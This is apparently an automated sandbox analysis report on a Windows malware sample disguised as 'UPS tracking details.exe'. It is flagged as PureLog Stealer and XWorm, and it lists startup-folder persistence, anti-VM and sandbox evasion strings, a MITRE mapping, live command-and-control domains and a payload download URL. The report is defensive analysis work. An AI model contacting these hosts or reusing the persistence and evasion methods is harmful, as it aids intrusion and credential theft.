Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 1.2.UPS tracking details.exe.36b2840.8.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 1.2.UPS tracking details.exe.36b2840.8.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 1.2.UPS tracking details.exe.36b2840.8.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 1.2.UPS tracking details.exe.36b2840.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 1.2.UPS tracking details.exe.36b2840.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 1.2.UPS tracking details.exe.3585570.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UPS tracking details.exe.59f0000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UPS tracking details.exe.59f0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UPS tracking details.exe.3585570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1699346885.00000000059F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1695473543.0000000003581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UPS tracking details.exe PID: 3164, type: MEMORYSTR

Source: C:\Users\user\Desktop\UPS tracking details.exe

Code function: 1_2_007D4BA4 push esi; ret

1_2_007D4BA7

Source: UPS tracking details.exe	Static PE information: section name: .text entropy: 7.249942036887339
Source: Remaining.exe.1.dr	Static PE information: section name: .text entropy: 7.249942036887339

Source: UPS tracking details.exe, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'tntKxOViOWtVx', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 1.2.UPS tracking details.exe.5520000.10.raw.unpack, Aqte0mLHflkRyrFZEqr.cs	High entropy of concatenated method names: 'qWqLZAGIxx', 'kUJLI3N3Mf', 'ovxLuy85Jg', 'zqpL7C35ph', 'lNCL1kCJHI', 'IREL2JfORn', 'l9xLWhlhAY', 'XA1LpMqwYD', 'gqQLxZwAva', 'qS3LYbNH5F'
Source: 1.2.UPS tracking details.exe.5520000.10.raw.unpack, CwsrpNyyjLJM1AasIS4.cs	High entropy of concatenated method names: 'UojyqSENYW', 'ULMyUt1pim', 'N4PyHxh4Er', 'rUsyR9CHLu', 'yfFyZqhKmq', 'G0lyKLDqnc', 'OT6svWdkvCkgDagVrsI', 'Bun5YcdsPUFr7wjZ3T8'

Source: C:\Users\user\Desktop\UPS tracking details.exe

File created: C:\Users\user\AppData\Roaming\Remaining.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\UPS tracking details.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\UPS tracking details.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: UPS tracking details.exe PID: 3164, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 7D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 2580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 24C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 2B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Memory allocated: 4B50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: UPS tracking details.exe, 00000001.00000002.1681842901.0000000000874000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\UPS tracking details.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: OpenProcessToken(hProcess, desiredAccess, out var TokenHandle)
Source: 1.2.UPS tracking details.exe.37b4e00.2.raw.unpack, ResourceReferenceValue.cs	Reference to suspicious API methods: NativeMethods.LoadLibrary(ResourceFilePath)

Source: C:\Users\user\Desktop\UPS tracking details.exe

Process created: C:\Users\user\Desktop\UPS tracking details.exe "C:\Users\user\Desktop\UPS tracking details.exe"

Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe	Queries volume information: C:\Users\user\Desktop\UPS tracking details.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Queries volume information: C:\Users\user\Desktop\UPS tracking details.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UPS tracking details.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\UPS tracking details.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: UPS tracking details.exe, type: SAMPLE
Source: Yara match	File source: 1.0.UPS tracking details.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Remaining.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UPS tracking details.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UPS tracking details.exe PID: 6572, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: UPS tracking details.exe, type: SAMPLE
Source: Yara match	File source: 1.0.UPS tracking details.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1536927005.00000000000E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Remaining.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 1.2.UPS tracking details.exe.27756d4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.UPS tracking details.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UPS tracking details.exe.27756d4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2789720458.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1682564416.00000000029ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UPS tracking details.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UPS tracking details.exe PID: 6572, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UPS tracking details.exe	21%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Remaining.exe	21%	ReversingLabs

Source	Detection	Scanner	Label
bin14.ydns.eu	0%	Avira URL Cloud	safe
smfcs3.ydns.eu	0%	Avira URL Cloud	safe
bin12.ydns.eu	0%	Avira URL Cloud	safe
kingsbkup1.ydns.eu	0%	Avira URL Cloud	safe
http://win32.ydns.eu/never/lookinto/it/panel/uploads/Fjuzaw.pdf	0%	Avira URL Cloud	safe
smfcs1.ydns.eu	0%	Avira URL Cloud	safe
http://win32.ydns.eu	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
win32.ydns.eu	45.144.214.104	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
smfcs3.ydns.eu	true	Avira URL Cloud: safe	unknown
kingsbkup1.ydns.eu	true	Avira URL Cloud: safe	unknown
bin14.ydns.eu	true	Avira URL Cloud: safe	unknown
http://win32.ydns.eu/never/lookinto/it/panel/uploads/Fjuzaw.pdf	true	Avira URL Cloud: safe	unknown
bin12.ydns.eu	true	Avira URL Cloud: safe	unknown
smfcs1.ydns.eu	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.cloudinary.com	UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1682564416.000000000266D000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win32.ydns.eu	UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-net	UPS tracking details.exe, 00000001.00000002.1695473543.0000000003662000.00000004.00000800.00020000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1699502154.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, UPS tracking details.exe, 00000001.00000002.1695473543.00000000036B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	Remaining.exe.1.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	UPS tracking details.exe, 00000001.00000002.1682564416.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.newtonsoft.com/jsonschema	UPS tracking details.exe, Remaining.exe.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.144.214.104	win32.ydns.eu	Ukraine		47169	HPC-MVM-ASHU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1627808
Start date and time:	2025-03-03 08:44:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UPS tracking details.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@4/3@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 72% Number of executed functions: 50 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target UPS tracking details.exe, PID 6572 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:46:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remaining.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.144.214.104	Enquiry#039855.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Tnemxaef.vdf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
win32.ydns.eu	Enquiry#039855.exe	Get hash	malicious	XWorm	Browse	45.144.214.104

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HPC-MVM-ASHU	1ZXaFij.exe	Get hash	malicious	Xmrig	Browse	45.144.212.77
	Enquiry#039855.exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	Auftragsbest#U00e4tigung.exe	Get hash	malicious	Quasar	Browse	45.144.214.107
	IRSTaxRefund.exe	Get hash	malicious	DBatLoader, Remcos	Browse	45.144.214.126
	SCS AWB and Commercial Invoice.exe	Get hash	malicious	Snake Keylogger, XWorm	Browse	45.144.214.104
	PaRWfF3x5K.elf	Get hash	malicious	Unknown	Browse	45.131.150.253
	6uBxa0vGQt.elf	Get hash	malicious	Gafgyt	Browse	213.181.218.192
	SoqyJuUVvW.elf	Get hash	malicious	Mirai	Browse	45.131.150.244
	NJh7IrK6IZ.elf	Get hash	malicious	Mirai	Browse	45.131.150.235
	Purchase Order_NO3682720.xlam.xlsx	Get hash	malicious	Unknown	Browse	45.144.214.37

